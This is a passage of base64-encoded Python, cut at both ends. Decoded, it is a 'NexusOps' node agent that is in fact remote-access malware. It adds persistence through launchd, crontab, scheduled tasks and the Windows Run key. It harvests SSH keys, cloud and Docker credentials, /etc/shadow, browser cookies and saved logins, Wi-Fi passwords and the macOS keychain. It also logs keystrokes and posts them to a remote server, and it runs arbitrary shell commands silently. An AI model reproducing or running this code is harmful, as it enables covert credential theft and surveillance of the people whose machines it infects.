vYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBrZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvcmRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZiBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1